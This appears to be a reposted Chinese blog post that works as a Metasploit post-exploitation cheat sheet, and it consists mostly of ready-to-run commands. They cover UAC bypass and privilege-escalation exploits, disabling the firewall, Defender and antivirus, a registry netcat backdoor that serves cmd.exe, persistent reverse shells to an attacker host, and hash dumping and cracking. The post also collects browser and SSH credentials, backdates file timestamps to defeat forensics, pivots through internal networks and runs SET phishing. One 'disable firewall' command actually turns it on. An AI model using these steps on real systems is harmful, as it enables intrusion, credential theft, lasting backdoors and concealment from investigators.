kali linux之msf后渗透阶段

已经获得目标操作系统控制权后扩大战果

提权

信息收集

渗透内网

永久后门

 

基于已有session扩大战果

 

 

绕过UAC限制

 use exploit/windows/local/ask
 set session -id
 set filename
 use exploit/windows/local/bypassuac
 use exploit/windows/local/bypassuac_injection
 set session -id
 set payload

 

利用漏洞直接提权为systen

use exploit/windows/local/ms13_053_schlamperei
use exploit/windows/local/ms13_081_track_popup_menu
use exploit/windows/local/ms13_097_ie_registry_symlink
use exploit/windows/local/ppr_flatten_rec

 

 

关闭windows防火墙--(需要管理员或system权限)

netsh advfirewall set allprofiles state on

 

关闭windefend

net stop windefend

 

Bitlocker磁盘加密

manage-bde -off C:

manage-bde -status C:

 

关闭DEP

bcdedit.exe /set {current} nx AlwaysOff

 

杀死防病毒软件

run killav

run post/windows/manage/killav

 

开启远程桌面服务

run post/windows/manage/enable_rdp

run getuid -e(截屏)

 

查看远程桌面

screenshot

use espia

screengrab

 

注册表保存着windows几乎全部配置参数

如果修改不当,可直接造成系统崩溃

修改前完整备份注册表

某些注册表的修改是不可逆的

 

常见用途

修改,增加启动项

窃取存储于注册表中的机密信息

绕过文件型病毒查杀

 

用注册表添加NC后门服务(meterpreter)

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -vnc

 

打开防火墙端口(meterpreter)

execute -f cmd -i -H
netsh firewall show opmode
netsh firewall add portopening TCP 4444 "test" ENABLE ALL
shutdown -r -t 0
nc 192.168.1.12 4444

 

其他注册表项

https://support.accessdata.com/hc/en-us/articles/204448155-Registry-
Quick-Find-Chart

 

抓包

load sniffer(加载sniffer)
sniffer_interfaces(查看有几个网卡)
sniffer_start 2(使用第二个网卡)
sniffer_dump 2 1.cap           /下载第二个网卡的数据包,命名为1.cao

在内存缓存区块存储抓包(50000包),不写硬盘,智能过滤meterpreter流量。传输全程使用SSL/TLS加密

 

解码

use auxiliary/sniffer/psnuffle

set PCAPFILE  /root/1.cap

 

搜索文件

search -f *.ini

search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *.docx

 

John the Ripper 破解弱口令

use post/windows/gather/hashdump   (dump hash system权限的meterpreter)

set session id

run  结果保存在/tmp目录下

use auxiliary/analyze/jtr_crack_fast(破解hash)

run

 

文件系统访问会留下痕迹,电子取证重点关注,渗透测试和攻击者往往希望销毁文件系统访问痕迹

最好的避免被电子取证发现的方法:不要碰文件系统---meterpreter的先天优势所在(完全基于内存)

 

MAC时间

ls -l --time=atime/mtime/ctime 1.txt

start 1.txt

touch -d "2 days ago" 1.txt

touch -t 1501010101 1.txt

 

MACE:MFT entry

MFTA:ntfs文件系统的主分区分配表master file table

通常1024字节或2个硬盘扇区,其中存放多项entry信息

包含文件大量信息(大小,名称,目录位置,磁盘位置,创建日期)

更多信息可研究 文件系统取证分析技术

 

 Timestomp (meterpreter)

 timestomp -v 1.txt(查看详细时间)

 timestomp -f c:\\autoexec.bat 1.txt(使用模板生成)

 -m / -a / -c / -e / -z

timestomp -z "1/29/1949 21:11:56" 2.txt

 

 

 

pivoting 跳板 / 枢纽 / 支点

利用已经控制的一台计算机作为入侵内网的跳板

在其他内网计算机看来访问全部来自于跳板机

run autoroute -s 192.168.2.0/24 (添加路由,访问外网的目标内网网段)

auxiliary/scanner/portscan/tcp(添加路由后,扫描内网)

 

pivoting端口转发portfwd

利用已经被控制计算机,在kali与目标之间实现端口转发

 portfwd add -L LIP -l LPORT -r RIP -p RPORT
 portfwd add -L 192.168.1.10 -l 445 -r 2.1.1.11 -p 3389
 portfwd list / delete / flush

 use exploit/windows/smb/ms08_067_netapi
 set RHOST 127.0.0.1
 set LHOST 2.1.1.10

 use exploit/multi/handler
 set exitonsession false

 

 

POST模块
run post/windows/gather/arp_scanner RHOSTS=2.1.1.0/24
run post/windows/gather/checkvm
run post/windows/gather/credentials/credential_collector
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_snmp
run post/multi/recon/local_exploit_suggester
run post/windows/manage/delete_user USERNAME=yuanfh
run post/multi/gather/env
run post/multi/gather/firefox_creds
run post/multi/gather/ssh_creds
run post/multi/gather/check_malware REMOTEFILE=c:\\a.exe

 

 

自动执行meterpreter脚本

 set AutoRunScript hostsedit -e 1.1.1.1,www.baidu.com
 set InitialAutoRunScript checkvm

 

 自动执行post模块

 set InitialAutoRunScript migrate -n explorer.exe
 set AutoRunScript post/windows/gather/dumplinks

 

持久后门

 利用漏洞取得的meterpreter shell 运行于内存中,重启失效

 重复exploit漏洞可能造成服务崩溃,持久后门保证漏洞修复后仍可远程控制

 

meterpreter后门

meterpreter>run metsvc -A   (自动运行匹配shell)

use exploit/multi/handler(然后去链接目标)
set payload windows/metsvc_bind_tcp
set LPORT 31337
set RHOST 192.168.1.12


持久后门

meterpreter>run persistence -h
meterpreter>run persistence -X -i 10 -p 4444 -r 192.168.1.10(反弹shell监听本机)
meterpreter>run persistence -U -i 20 -p 4444 -r 192.168.1.10(反弹shell监听本机)
meterpreter>run persistence -S -i 20 -p 4444 -r 192.168.1.10(反弹shell监听本机)

 

 

社会工程学

metasploit可以很好的配合到社会工程学攻击的各个阶段

setooklkit工具包大量依赖metasploit

基于浏览器等客户端软件漏洞实现对客户端计算机的攻击

 

社会:人是社会化的动物(人与人之间的关系,群体利益决定结构架构)

工程:依据标准的步骤完成任务达成目标的一套方法

通过人的交流,使用欺骗伪装等手段绕过安全机制实现入侵的非技术手段

 

社会工程学攻击的四个阶段

研究:信息收集(web,媒体,垃圾桶,物理),确定并研究目标

钩子:与目标建立第一次交谈(hook,下套)

下手:与目标建立信任并获取信息

退场:不引起目标怀疑的离开现场

 

 

 类型:

基于人的社工:

搭载

伪造身份

偷听/窃肩

反社工

垃圾桶工程

 

基于计算机的社工:

弹出窗口

内部网络攻击

钓鱼邮件

短信诈骗

 

Social-Engineering Tookit(SET)

kali linux之msf后渗透阶段_第1张图片

 

站点克隆:1 2 3 2

发送钓鱼邮件:1 1 2

web站点攻击向量:1 2 1 2

中间文件全部存在~/.set目录中

 

 

 

 

友情链接  http://www.cnblogs.com/klionsec

                http://www.cnblogs.com/l0cm

                http://www.cnblogs.com/Anonyaptxxx

                http://www.feiyusafe.cn

转载于:https://www.cnblogs.com/Hydraxx/p/10498797.html

你可能感兴趣的:(操作系统,shell,网络)